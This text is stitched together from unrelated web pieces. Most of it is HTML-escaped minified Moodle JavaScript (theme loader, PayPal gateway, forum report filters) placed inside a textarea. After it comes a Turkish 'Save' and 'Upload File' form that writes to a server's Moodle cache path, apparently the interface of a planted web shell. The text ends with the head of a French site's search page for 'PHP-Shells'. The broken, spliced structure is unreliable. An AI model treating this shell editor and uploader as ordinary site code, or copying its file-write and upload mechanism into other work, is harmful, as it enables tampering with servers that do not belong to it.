&quot;)[0].split(&quot;.&quot;);if(version[0]&lt;2&amp;&amp;version[1]&lt;9||1===version[0]&amp;&amp;9===version[1]&amp;&amp;version[2]&lt;1||version[0]&gt;=4)throw new Error(&quot;Bootstrap&#039;s JavaScript requires at least jQuery v1.9.1 but less than v4.0.0&quot;)}};Util.jQueryDetection(),_jquery.default.fn.emulateTransitionEnd=transitionEndEmulator,_jquery.default.event.special[Util.TRANSITION_END]={bindType:&quot;transitionend&quot;,delegateType:&quot;transitionend&quot;,handle(event){if((0,_jquery.default)(event.target).is(this))return event.handleObj.handler.apply(this,arguments)}};var _default=Util;return _exports.default=_default,_exports.default}));
define(&quot;theme_boost/loader&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;./aria&quot;,&quot;./index&quot;,&quot;core/pending&quot;,&quot;./pending&quot;],(function(_exports,_jquery,Aria,_index,_pending,_pending2){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Template renderer for Moodle. Load and render Moodle templates with Mustache.
   *
   * @module     theme_boost/loader
   * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   * @since      2.9
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),Object.defineProperty(_exports,&quot;Bootstrap&quot;,{enumerable:!0,get:function(){return _index.default}}),_jquery=_interopRequireDefault(_jquery),Aria=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}(Aria),_index=_interopRequireDefault(_index),_pending=_interopRequireDefault(_pending),_pending2=_interopRequireDefault(_pending2);const pendingPromise=new _pending.default(&quot;theme_boost/loader:init&quot;);(0,_pending2.default)(),Aria.init(),(()=&gt;{(0,_jquery.default)(&#039;a[data-toggle=&quot;tab&quot;]&#039;).on(&quot;shown.bs.tab&quot;,(function(e){var hash=(0,_jquery.default)(e.target).attr(&quot;href&quot;);history.replaceState?history.replaceState(null,null,hash):location.hash=hash}));const hash=window.location.hash;if(hash){const tab=document.querySelector(&#039;[role=&quot;tablist&quot;] [href=&quot;&#039;+hash+&#039;&quot;]&#039;);tab&amp;&amp;tab.click()}})(),(0,_jquery.default)(&quot;body&quot;).popover({container:&quot;body&quot;,selector:&#039;[data-toggle=&quot;popover&quot;]&#039;,trigger:&quot;focus&quot;}),document.addEventListener(&quot;keydown&quot;,(e=&gt;{&quot;Escape&quot;===e.key&amp;&amp;e.target.closest(&#039;[data-toggle=&quot;popover&quot;]&#039;)&amp;&amp;(0,_jquery.default)(e.target).popover(&quot;hide&quot;)})),(0,_jquery.default)(&quot;body&quot;).tooltip({container:&quot;body&quot;,selector:&#039;[data-toggle=&quot;tooltip&quot;]&#039;}),_jquery.default.fn.dropdown.Constructor.Default.flip=!1,pendingPromise.resolve()}));
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see &lt;http://www.gnu.org/licenses/&gt;.
/**
 * JS file to handle edwiser bridge.
 *
 * @package     local_edwiserbridge
 * @copyright   2021 WisdmLabs (https://wisdmlabs.com/) &lt;support@wisdmlabs.com&gt;
 * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @author      Wisdmlabs
 */
define(&#039;local_edwiserbridge/edwiser_bridge&#039;, [&#039;jquery&#039;, &#039;core/ajax&#039;, &#039;core/url&#039;, &#039;core/str&#039;], function($, ajax, url) {
    return {
        init: function($params) {
            $(document).ready(function() {

                /**
                 * functionality to avoid space in the site name
                 */
                $(&#039;input[name^=&quot;wp_name&quot;]&#039;).on({
                    keydown: function(e) {
                        if (e.which === 32)
                            return false;
                    },
                    change: function() {
                        this.value = this.value.replace(/\s/g, &quot;&quot;);
                    }
                });


                /**
                 * functionality to test connection
                 */
                $(&quot;[id$=_eb_test_connection]&quot;).click(function(event) {
                    event.preventDefault();
                    $(document.body).css({ &#039;cursor&#039;: &#039;wait&#039; });
                    var id = $(this).prop(&quot;id&quot;);
                    id = id.replace(&quot;eb_test_connection&quot;, &#039;&#039;);
                    id = id.replace(&quot;id_eb_buttons&quot;, &#039;&#039;);
                    index = id.replace(/\_/g, &#039;&#039;);
                    var url = $(&quot;#id_wp_url_&quot; + index).val();
                    var token = $(&quot;#id_wp_token_&quot; + index).val();
                    var parent = $(this).parent().parent();
                    parent = parent.parent();

                    //display none the error div.
                    parent.find(&quot;#eb_test_conne_response_old&quot;).css(&quot;display&quot;, &quot;none&quot;);

                    var promises = ajax.call([
                        { methodname: &#039;eb_test_connection&#039;, args: { wp_url: url, wp_token: token } }
                    ]);

                    promises[0].done(function(response) {
                        parent.find(&quot;#eb_test_conne_response_old&quot;).html(response.msg);
                        parent.find(&quot;#eb_test_conne_response_old&quot;).css(&quot;display&quot;, &quot;block&quot;);

                        if (response.status == 1) {
                            parent.find(&quot;#eb_test_conne_response_old&quot;).addClass(&quot;eb-success-msg&quot;);
                            parent.find(&quot;#eb_test_conne_response_old&quot;).removeClass(&quot;eb-error-msg&quot;);
                        } else {
                            parent.find(&quot;#eb_test_conne_response_old&quot;).removeClass(&quot;eb-success-msg&quot;);
                            parent.find(&quot;#eb_test_conne_response_old&quot;).addClass(&quot;eb-error-msg&quot;);
                        }
                        $(document.body).css({ &#039;cursor&#039;: &#039;default&#039; });
                    }).fail(function(ex) {
                        // do something with the exception
                        $(document.body).css({ &#039;cursor&#039;: &#039;default&#039; });
                    });
                });



                /**
                 * functionality to remove site from the sites list
                 */
                $(&quot;[id$=_eb_remove_site]&quot;).click(function(event) {
                    event.preventDefault();
                    var id = $(this).prop(&quot;id&quot;);
                    id = id.replace(&quot;eb_remove_site&quot;, &#039;&#039;);
                    id = id.replace(&quot;id_eb_buttons&quot;, &#039;&#039;);
                    index = id.replace(/\_/g, &#039;&#039;);

                    $(&quot;#id_wp_url_&quot; + index).val(&quot;&quot;);
                    $(&quot;#id_wp_token_&quot; + index).val(&quot;&quot;);
                    $(&quot;#id_wp_name_&quot; + index).val(&quot;&quot;);

                    //Hiding elemnts
                    onRemoveHideElemnts(index);
                    $(&quot;input[name=&#039;wp_remove[&quot; + index + &quot;]&#039;]&quot;).val(&quot;yes&quot;);
                });


                //Hide the elements removed from the remove button.
                function onRemoveHideElemnts(index) {
                    $(&quot;#id_wp_name_&quot; + index).closest(&#039;fieldset&#039;).css(&quot;display&quot;, &quot;none&quot;);
                }


                //Hiding js elements which are already removed.
                if ($(&quot;input[name=&#039;wp_remove[0]&#039;]&quot;).length) {
                    var repeatQty = $(&quot;input[name=&#039;eb_connection_setting_repeats&#039;]&quot;).val();
                    for (var i = 0; i &lt; repeatQty; i++) {
                        if (&quot;yes&quot; == $(&quot;input[name=&#039;wp_remove[&quot; + i + &quot;]&#039;]&quot;).val()) {
                            onRemoveHideElemnts(i);
                        }
                        // $(&quot;input[name=&#039;wp_remove[&quot;+ i +&quot;]&#039;]&quot;).val(&quot;no&quot;);
                    }
                }


                /**
                 * functionlaity to get site synch values on the site change
                 */
                $(&quot;#id_wp_site_list&quot;).on(&quot;change&quot;, function() {
                    var promises = ajax.call([
                        { methodname: &#039;eb_get_site_data&#039;, args: { site_index: $(this).val() } }
                    ]);

                    promises[0].done(function(response) {
                        $(&#039;#id_course_enrollment&#039;).prop(&#039;checked&#039;, response.course_enrollment);
                        $(&#039;#id_course_un_enrollment&#039;).prop(&#039;checked&#039;, response.course_un_enrollment);
                        $(&#039;#id_user_creation&#039;).prop(&#039;checked&#039;, response.user_creation);
                        $(&#039;#id_user_deletion&#039;).prop(&#039;checked&#039;, response.user_deletion);
                        $(&#039;#id_course_creation&#039;).prop(&#039;checked&#039;, response.course_creation);
                        $(&#039;#id_course_deletion&#039;).prop(&#039;checked&#039;, response.course_deletion);
                        $(&#039;#id_user_updation&#039;).prop(&#039;checked&#039;, response.user_updation);
                    }).fail(function(ex) {});
                });
            });
        }
    };

});
define(&quot;paygw_paypal/gateways_modal&quot;,[&quot;exports&quot;,&quot;./repository&quot;,&quot;core/templates&quot;,&quot;core/truncate&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;,&quot;core/str&quot;],(function(_exports,Repository,_templates,_truncate,_modal_factory,_modal_events,_str){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.process=void 0,Repository=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}
/**
   * This module is responsible for PayPal content in the gateways modal.
   *
   * @module     paygw_paypal/gateway_modal
   * @copyright  2020 Shamim Rezaie &lt;shamim@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */(Repository),_templates=_interopRequireDefault(_templates),_truncate=_interopRequireDefault(_truncate),_modal_factory=_interopRequireDefault(_modal_factory),_modal_events=_interopRequireDefault(_modal_events);const showModalWithPlaceholder=async()=&gt;{const modal=await _modal_factory.default.create({body:await _templates.default.render(&quot;paygw_paypal/paypal_button_placeholder&quot;,{})});return modal.show(),modal};_exports.process=(component,paymentArea,itemId,description)=&gt;Promise.all([showModalWithPlaceholder(),Repository.getConfigForJs(component,paymentArea,itemId)]).then((_ref=&gt;{let[modal,paypalConfig]=_ref;return modal.getRoot().on(_modal_events.default.hidden,(()=&gt;{modal.destroy()})),Promise.all([modal,paypalConfig,switchSdk(paypalConfig.clientid,paypalConfig.currency)])})).then((_ref2=&gt;{let[modal,paypalConfig]=_ref2;return modal.setBody(&quot;&quot;),new Promise((resolve=&gt;{window.paypal.Buttons({createOrder:function(data,actions){return actions.order.create({purchase_units:[{amount:{currency_code:paypalConfig.currency_code,value:paypalConfig.cost},description:_truncate.default.truncate(description,{length:127,stripTags:!0})}],application_context:{shipping_preference:&quot;NO_SHIPPING&quot;,brand_name:_truncate.default.truncate(paypalConfig.brandname,{length:127,stripTags:!0})}})},onApprove:function(data){modal.getRoot().on(_modal_events.default.outsideClick,(e=&gt;{e.preventDefault()})),modal.setBody((0,_str.get_string)(&quot;authorising&quot;,&quot;paygw_paypal&quot;)),Repository.markTransactionComplete(component,paymentArea,itemId,data.orderID).then((res=&gt;(modal.hide(),res))).then(resolve)}}).render(modal.getBody()[0])}))})).then((res=&gt;res.success?Promise.resolve(res.message):Promise.reject(res.message)));const switchSdk=(clientId,currency)=&gt;{const sdkUrl=&quot;https://www.paypal.com/sdk/js?client-id=&quot;.concat(clientId,&quot;&amp;currency=&quot;).concat(currency);if(switchSdk.currentlyloaded===sdkUrl)return Promise.resolve();if(switchSdk.currentlyloaded){const suspectedScript=document.querySelector(&#039;script[src=&quot;&#039;.concat(switchSdk.currentlyloaded,&#039;&quot;]&#039;));suspectedScript&amp;&amp;suspectedScript.parentNode.removeChild(suspectedScript)}const script=document.createElement(&quot;script&quot;);return new Promise((resolve=&gt;{script.readyState?script.onreadystatechange=function(){&quot;complete&quot;!=this.readyState&amp;&amp;&quot;loaded&quot;!=this.readyState||(this.onreadystatechange=null,resolve())}:script.onload=function(){resolve()},script.setAttribute(&quot;src&quot;,sdkUrl),document.head.appendChild(script),switchSdk.currentlyloaded=sdkUrl}))};switchSdk.currentlyloaded=&quot;&quot;}));
define(&quot;paygw_paypal/repository&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;],(function(_exports,_ajax){var obj;
/**
   * PayPal repository module to encapsulate all of the AJAX requests that can be sent for PayPal.
   *
   * @module     paygw_paypal/repository
   * @copyright  2020 Shamim Rezaie &lt;shamim@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.markTransactionComplete=_exports.getConfigForJs=void 0,_ajax=(obj=_ajax)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.getConfigForJs=(component,paymentArea,itemId)=&gt;{const request={methodname:&quot;paygw_paypal_get_config_for_js&quot;,args:{component:component,paymentarea:paymentArea,itemid:itemId}};return _ajax.default.call([request])[0]};_exports.markTransactionComplete=(component,paymentArea,itemId,orderId)=&gt;{const request={methodname:&quot;paygw_paypal_create_transaction_complete&quot;,args:{component:component,paymentarea:paymentArea,itemid:itemId,orderid:orderId}};return _ajax.default.call([request])[0]}}));
define(&quot;forumreport_summary/filters&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core/popper&quot;,&quot;core/custom_interaction_events&quot;,&quot;forumreport_summary/selectors&quot;,&quot;core/ajax&quot;,&quot;core/key_codes&quot;,&quot;core_form/changechecker&quot;],(function(_exports,_jquery,_popper,_custom_interaction_events,_selectors,_ajax,_key_codes,FormChangeChecker){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Module responsible for handling forum summary report filters.
   *
   * @module     forumreport_summary/filters
   * @copyright  2019 Michael Hawkins &lt;michaelh@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_jquery=_interopRequireDefault(_jquery),_popper=_interopRequireDefault(_popper),_custom_interaction_events=_interopRequireDefault(_custom_interaction_events),_selectors=_interopRequireDefault(_selectors),_ajax=_interopRequireDefault(_ajax),_key_codes=_interopRequireDefault(_key_codes),FormChangeChecker=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}(FormChangeChecker);_exports.init=root=&gt;{let jqRoot=(0,_jquery.default)(root);(0,_jquery.default)(document).ready((function(){(0,_jquery.default)(&quot;.loading-icon&quot;).hide(),(0,_jquery.default)(&quot;#summaryreport&quot;).removeClass(&quot;hidden&quot;)}));const generateWithFilters=(event,getparams)=&gt;{let newLink,currentLink=document.forms.filtersform.action;if(event){event.preventDefault();let currentSplit=currentLink.split(&quot;?&quot;),currentstring=currentSplit[1],newparamsarray=getparams.split(&quot;&amp;&quot;),paramsstring=&quot;&quot;,paramkeys=[],paramvalues=[];currentstring.split(&quot;&amp;&quot;).forEach((function(param){let splitparam=param.split(&quot;=&quot;);paramkeys.push(splitparam[0]),paramvalues.push(splitparam[1])})),newparamsarray.forEach((function(paramstring){let newparam=paramstring.split(&quot;=&quot;),existingkey=paramkeys.indexOf(newparam[0]);existingkey&gt;-1?paramvalues[existingkey]=newparam[1]:(paramkeys.push(newparam[0]),paramvalues.push(newparam[1]))})),paramkeys.forEach((function(name,key){paramsstring+=&quot;&amp;&quot;.concat(name,&quot;=&quot;).concat(paramvalues[key])})),newLink=currentSplit[0]+&quot;?&quot;+paramsstring.substr(1)}else newLink=currentLink;document.forms.filtersform.action=newLink,document.forms.filtersform.submit()};(0,_jquery.default)(&quot;.resettable&quot;).on(&quot;click&quot;,&quot;a&quot;,(function(event){generateWithFilters(event,event.target.search.substr(1))})),(0,_jquery.default)(&quot;thead&quot;).on(&quot;click&quot;,&quot;a&quot;,(function(event){generateWithFilters(event,event.target.search.substr(1))})),(0,_jquery.default)(&quot;.pagination&quot;).on(&quot;click&quot;,&quot;a&quot;,(function(event){generateWithFilters(event,event.target.search.substr(1))})),document.forms.selectperpage&amp;&amp;(document.forms.selectperpage.onsubmit=event=&gt;{let getparam=&quot;perpage=&quot;+document.forms.selectperpage.elements.perpage.value;generateWithFilters(event,getparam)});const downloadForm=document.getElementById(&quot;summaryreport&quot;).querySelector(&quot;form.dataformatselector&quot;);downloadForm&amp;&amp;(downloadForm.onsubmit=event=&gt;{const downloadType=downloadForm.querySelector(&quot;#downloadtype_download&quot;).value,getParams=&quot;download=&quot;.concat(downloadType),prevAction=document.forms.filtersform.action;generateWithFilters(event,getParams),document.forms.filtersform.action=prevAction});const submitWithFilter=containerelement=&gt;{FormChangeChecker.unWatchForm(document.forms.filtersform),(0,_jquery.default)(containerelement).addClass(&quot;hidden&quot;),generateWithFilters(!1)},updateCalendarPosition=referenceid=&gt;{let referenceElement=document.querySelector(referenceid),popperContent=document.querySelector(_selectors.default.filters.date.calendar);popperContent.style.removeProperty(&quot;z-index&quot;),new _popper.default(referenceElement,popperContent,{placement:&quot;bottom&quot;})},closeOpenFilters=(openFilterButton,openFilter)=&gt;{openFilter.classList.add(&quot;hidden&quot;),openFilter.setAttribute(&quot;data-openfilter&quot;,&quot;false&quot;),openFilterButton.classList.add(&quot;btn-primary&quot;),openFilterButton.classList.remove(&quot;btn-outline-primary&quot;),openFilterButton.setAttribute(&quot;aria-expanded&quot;,!1)};jqRoot.on(_custom_interaction_events.default.events.activate,_selectors.default.filters.group.selectall,(function(){root.querySelectorAll(_selectors.default.filters.group.checkbox+&quot;:not(:checked)&quot;).forEach((function(checkbox){checkbox.checked=!0}))})),jqRoot.on(_custom_interaction_events.default.events.activate,_selectors.default.filters.group.clear,(function(){root.querySelectorAll(_selectors.default.filters.group.checkbox+&quot;:checked&quot;).forEach((function(checkbox){checkbox.checked=!1}))})),jqRoot.on(_custom_interaction_events.default.events.activate,_selectors.default.filters.group.trigger,(function(){let referenceElement=root.querySelector(_selectors.default.filters.group.trigger),popperContent=root.querySelector(_selectors.default.filters.group.popover);new _popper.default(referenceElement,popperContent,{placement:&quot;bottom&quot;}),popperContent.classList.remove(&quot;hidden&quot;),popperContent.setAttribute(&quot;data-openfilter&quot;,&quot;true&quot;),referenceElement.classList.add(&quot;btn-outline-primary&quot;),referenceElement.classList.remove(&quot;btn-primary&quot;),referenceElement.setAttribute(&quot;aria-expanded&quot;,!0);const closeListener=e=&gt;{e.target.id===referenceElement.id||popperContent===e.target.closest(&#039;[data-openfilter=&quot;true&quot;]&#039;)||void 0!==e.keyCode&amp;&amp;e.keyCode!==_key_codes.default.enter&amp;&amp;e.keyCode!==_key_codes.default.space||(closeOpenFilters(referenceElement,popperContent),document.removeEventListener(&quot;click&quot;,closeListener),document.removeEventListener(&quot;keyup&quot;,closeListener),document.removeEventListener(&quot;keyup&quot;,escCloseListener))};document.addEventListener(&quot;click&quot;,closeListener),document.addEventListener(&quot;keyup&quot;,closeListener);const escCloseListener=e=&gt;{e.keyCode===_key_codes.default.escape&amp;&amp;(closeOpenFilters(referenceElement,popperContent),document.removeEventListener(&quot;keyup&quot;,escCloseListener),document.removeEventListener(&quot;click&quot;,closeListener))};document.addEventListener(&quot;keyup&quot;,escCloseListener)})),jqRoot.on(_custom_interaction_events.default.events.activate,_selectors.default.filters.group.save,(function(){root.querySelectorAll(_selectors.default.filters.group.checkbox).forEach((function(popcheckbox){let filtersform=document.forms.filtersform,saveid=popcheckbox.getAttribute(&quot;data-saveid&quot;);filtersform.querySelector(&quot;#&quot;.concat(saveid)).checked=popcheckbox.checked})),submitWithFilter(&quot;#filter-groups-popover&quot;)})),document.querySelectorAll(_selectors.default.filters.exportlink.link).forEach((function(exportbutton){exportbutton.addEventListener(&quot;click&quot;,(function(event){document.forms.exportlinkform.action=event.target.dataset.url,document.forms.exportlinkform.submit()}))})),jqRoot.on(_custom_interaction_events.default.events.activate,_selectors.default.filters.date.trigger,(function(){let referenceElement=root.querySelector(_selectors.default.filters.date.trigger),popperContent=root.querySelector(_selectors.default.filters.date.popover);new _popper.default(referenceElement,popperContent,{placement:&quot;bottom&quot;}),popperContent.classList.remove(&quot;hidden&quot;),popperContent.setAttribute(&quot;data-openfilter&quot;,&quot;true&quot;),popperContent.querySelector(&#039;[name=&quot;filterdatefrompopover[enabled]&quot;]&#039;).focus(),referenceElement.classList.add(&quot;btn-outline-primary&quot;),referenceElement.classList.remove(&quot;btn-primary&quot;),referenceElement.setAttribute(&quot;aria-expanded&quot;,!0);const closeListener=e=&gt;{e.target.id===referenceElement.id||popperContent===e.target.closest(&#039;[data-openfilter=&quot;true&quot;]&#039;)||void 0!==e.keyCode&amp;&amp;e.keyCode!==_key_codes.default.enter&amp;&amp;e.keyCode!==_key_codes.default.space||(closeOpenFilters(referenceElement,popperContent),document.removeEventListener(&quot;click&quot;,closeListener),document.removeEventListener(&quot;keyup&quot;,closeListener),document.removeEventListener(&quot;keyup&quot;,escCloseListener))};document.addEventListener(&quot;click&quot;,closeListener),document.addEventListener(&quot;keyup&quot;,closeListener);const escCloseListener=e=&gt;{e.keyCode===_key_codes.default.escape&amp;&amp;(closeOpenFilters(referenceElement,popperContent),document.removeEventListener(&quot;keyup&quot;,escCloseListener),document.removeEventListener(&quot;click&quot;,closeListener))};document.addEventListener(&quot;keyup&quot;,escCloseListener)})),jqRoot.on(_custom_interaction_events.default.events.activate,_selectors.default.filters.date.save,(function(){let filtersForm=document.forms.filtersform;const datesPopover=root.querySelector(_selectors.default.filters.date.popover),fromEnabled=datesPopover.querySelector(&#039;[name=&quot;filterdatefrompopover[enabled]&quot;]&#039;).checked?1:0,toEnabled=datesPopover.querySelector(&#039;[name=&quot;filterdatetopopover[enabled]&quot;]&#039;).checked?1:0;if(fromEnabled||toEnabled){let args={data:[]};fromEnabled&amp;&amp;args.data.push({key:&quot;from&quot;,year:datesPopover.querySelector(&#039;[name=&quot;filterdatefrompopover[year]&quot;]&#039;).value,month:datesPopover.querySelector(&#039;[name=&quot;filterdatefrompopover[month]&quot;]&#039;).value,day:datesPopover.querySelector(&#039;[name=&quot;filterdatefrompopover[day]&quot;]&#039;).value,hour:0,minute:0}),toEnabled&amp;&amp;args.data.push({key:&quot;to&quot;,year:datesPopover.querySelector(&#039;[name=&quot;filterdatetopopover[year]&quot;]&#039;).value,month:datesPopover.querySelector(&#039;[name=&quot;filterdatetopopover[month]&quot;]&#039;).value,day:datesPopover.querySelector(&#039;[name=&quot;filterdatetopopover[day]&quot;]&#039;).value,hour:23,minute:59});const request={methodname:&quot;core_calendar_get_timestamps&quot;,args:args};_ajax.default.call([request])[0].done((function(result){let fromTimestamp=0,toTimestamp=0;if(result.timestamps.forEach((function(data){&quot;from&quot;===data.key?fromTimestamp=data.timestamp:&quot;to&quot;===data.key&amp;&amp;(toTimestamp=data.timestamp)})),toTimestamp&gt;0&amp;&amp;fromTimestamp&gt;toTimestamp){const warningdiv=document.getElementById(&quot;dates-filter-warning&quot;);warningdiv.classList.remove(&quot;hidden&quot;),warningdiv.classList.add(&quot;d-block&quot;)}else filtersForm.elements[&quot;datefrom[timestamp]&quot;].value=fromTimestamp,filtersForm.elements[&quot;datefrom[enabled]&quot;].value=fromEnabled,filtersForm.elements[&quot;dateto[timestamp]&quot;].value=toTimestamp,filtersForm.elements[&quot;dateto[enabled]&quot;].value=toEnabled,submitWithFilter(&quot;#filter-dates-popover&quot;)}))}else filtersForm.elements[&quot;datefrom[timestamp]&quot;].value=0,filtersForm.elements[&quot;datefrom[enabled]&quot;].value=fromEnabled,filtersForm.elements[&quot;dateto[timestamp]&quot;].value=0,filtersForm.elements[&quot;dateto[enabled]&quot;].value=toEnabled,submitWithFilter(&quot;#filter-dates-popover&quot;)})),jqRoot.on(_custom_interaction_events.default.events.activate,_selectors.default.filters.date.calendariconfrom,(function(){updateCalendarPosition(_selectors.default.filters.date.calendariconfrom)})),jqRoot.on(_custom_interaction_events.default.events.activate,_selectors.default.filters.date.calendariconto,(function(){updateCalendarPosition(_selectors.default.filters.date.calendariconto)}))}}));
define(&quot;forumreport_summary/selectors&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;return _exports.default={filters:{group:{checkbox:&#039;[data-region=&quot;filter-groups&quot;] input[type=&quot;checkbox&quot;]&#039;,clear:&#039;[data-region=&quot;filter-groups&quot;] .filter-clear&#039;,popover:&quot;#filter-groups-popover&quot;,save:&#039;[data-region=&quot;filter-groups&quot;] .filter-save&#039;,selectall:&#039;[data-region=&quot;filter-groups&quot;] .select-all&#039;,trigger:&quot;#filter-groups-button&quot;},date:{calendar:&quot;#dateselector-calendar-panel&quot;,calendariconfrom:&quot;#id_filterdatefrompopover_calendar&quot;,calendariconto:&quot;#id_filterdatetopopover_calendar&quot;,popover:&quot;#filter-dates-popover&quot;,save:&#039;[data-region=&quot;filter-dates&quot;] .filter-save&#039;,trigger:&quot;#filter-dates-button&quot;},exportlink:{link:&quot;#summaryreport #forumreport_summary_table button.export-link&quot;}}},_exports.default}));
define(&quot;quizaccess_seb/managetemplates&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/str&quot;,&quot;core/notification&quot;],(function($,ajax,str,notification){var manager={removeTemplate:function(e){e.preventDefault();var targetUrl=$(e.currentTarget).attr(&quot;href&quot;);str.get_strings([{key:&quot;confirmtemplateremovaltitle&quot;,component:&quot;quizaccess_seb&quot;},{key:&quot;confirmtemplateremovalquestion&quot;,component:&quot;quizaccess_seb&quot;},{key:&quot;yes&quot;,component:&quot;moodle&quot;},{key:&quot;no&quot;,component:&quot;moodle&quot;}]).then((function(s){notification.confirm(s[0],s[1],s[2],s[3],(function(){window.location=targetUrl}))})).catch()},setup:function(){$(&quot;body&quot;).delegate(&#039;[data-action=&quot;delete&quot;]&#039;,&quot;click&quot;,manager.removeTemplate)}};return{setup:manager.setup}}));
</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/moodledataevs/localcache/requirejs/9d4772abfa178c95a668203a2140ff928a0f4096">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>Rechercher des résultats pour &quot;label/PHP-Shells&quot; | HAGGAI BURKINA FASO</title>
<meta name='robots' content='noindex, follow, max-image-preview:large' />
<script type="text/javascript">
